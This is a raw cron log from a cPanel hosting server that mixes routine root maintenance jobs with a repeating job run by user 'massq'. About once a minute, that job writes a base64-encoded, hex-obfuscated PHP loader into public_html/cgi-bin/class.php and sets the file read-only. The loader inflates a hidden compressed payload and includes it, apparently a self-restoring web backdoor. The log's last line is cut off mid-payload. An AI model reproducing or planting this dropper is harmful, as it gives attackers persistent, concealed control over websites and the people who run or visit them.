Apr 12 08:30:01 server CROND[10672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:31:01 server CROND[10889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:32:01 server CROND[10944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:33:01 server CROND[10999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:34:01 server CROND[11047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:35:01 server CROND[11094]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 08:35:01 server CROND[11092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:35:01 server CROND[11093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:35:01 server CROND[11096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:35:01 server CROND[11095]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 08:36:01 server CROND[11199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:37:01 server CROND[11374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:38:01 server CROND[11421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:39:01 server CROND[11493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:39:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 08:40:01 server CROND[11597]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 08:40:01 server CROND[11598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:40:01 server CROND[11599]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 08:40:01 server CROND[11600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 08:41:01 server CROND[11702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:42:01 server CROND[11856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 08:42:01 server CROND[11857]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 08:43:01 server CROND[11918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd